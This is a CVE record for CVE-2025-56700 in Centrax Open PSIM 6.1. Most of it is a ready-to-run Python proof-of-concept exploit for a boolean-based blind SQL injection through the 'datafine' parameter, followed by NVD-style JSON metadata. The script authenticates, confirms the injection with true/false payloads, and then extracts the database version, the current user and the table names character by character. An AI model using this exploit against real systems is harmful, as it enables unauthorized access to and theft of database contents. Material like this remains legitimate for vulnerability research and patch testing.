CVE-2025-56700

# CVE-2025-56700 - Centrax Open PSIM 6.1 Boolean SQL Injection PoC # Vulnerability: Boolean-based Blind SQL Injection via 'datafine' parameter # Author: Security Research based on CVE-2025-56700 import requests import sys TARGET_URL = "https://target-centrax-psim.example.com" LOGIN_URL = f"{TARGET_URL}/login" VULN_URL = f"{TARGET_URL}/api/search" # Adjust endpoint accordingly USERNAME = "low_priv_user" PASSWORD = "password123" INJECTION_PARAM = "datafine" def authenticate(session): """Authenticate to Centrax Open PSIM with low-privilege credentials""" login_data = { "username": USERNAME, "password": PASSWORD } resp = session.post(LOGIN_URL, data=login_data, verify=False) if resp.status_code == 200: print("[+] Authentication successful") return True print("[-] Authentication failed") return False def test_injection(session): """Test for Boolean-based Blind SQL Injection""" # Normal request - baseline normal_payload = {"datafine": "2025-01-01"} normal_resp = session.post(VULN_URL, data=normal_payload, verify=False) normal_len = len(normal_resp.text) # True condition injection true_payload = {"datafine": "2025-01-01' AND 1=1-- -"} true_resp = session.post(VULN_URL, data=true_payload, verify=False) true_len = len(true_resp.text) # False condition injection false_payload = {"datafine": "2025-01-01' AND 1=2-- -"} false_resp = session.post(VULN_URL, data=false_payload, verify=False) false_len = len(false_resp.text) if true_len == normal_len and false_len != normal_len: print("[+] Boolean-based Blind SQL Injection confirmed!") return True print("[-] Injection not detected") return False def extract_data(session, query, max_len=50): """Extract data character by character using binary search""" result = "" for pos in range(1, max_len + 1): low, high = 32, 126 while low <= high: mid = (low + high) // 2 # Binary search for ASCII value of character at position 'pos' payload = { "datafine": f"2025-01-01' AND ASCII(SUBSTRING(({query}),{pos},1))>{mid}-- -" } resp = session.post(VULN_URL, data=payload, verify=False) if len(resp.text) == len(session.post(VULN_URL, data={"datafine": "2025-01-01"}, verify=False).text): low = mid + 1 else: high = mid - 1 if low > 126: break result += chr(low) sys.stdout.write(chr(low)) sys.stdout.flush() print(f"\n[+] Extracted: {result}") return result if __name__ == "__main__": session = requests.Session() if authenticate(session) and test_injection(session): # Extract database version print("[*] Extracting database version...") extract_data(session, "SELECT @@version") # Extract current user print("[*] Extracting current user...") extract_data(session, "SELECT user()") # Extract table names print("[*] Extracting table names...") extract_data(session, "SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()")

{"cve": {"id": "CVE-2025-56700", "sourceIdentifier": "[email protected]", "published": "2025-10-16T17:15:34.290", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Boolean SQL injection vulnerability in the web app of Base Digitale Group spa product Centrax Open PSIM version 6.1 allows a low level priviliged user that has access to the platform, to execute arbitrary SQL commands via the datafine parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://basedigitale.com/integrated-security-solutions/security-asset-management/centrax/", "source": "[email protected]"}, {"url": "https://github.com/MarioTesoro/vulnerability-research/tree/main/CVE-2025-56700", "source": "[email protected]"}]}}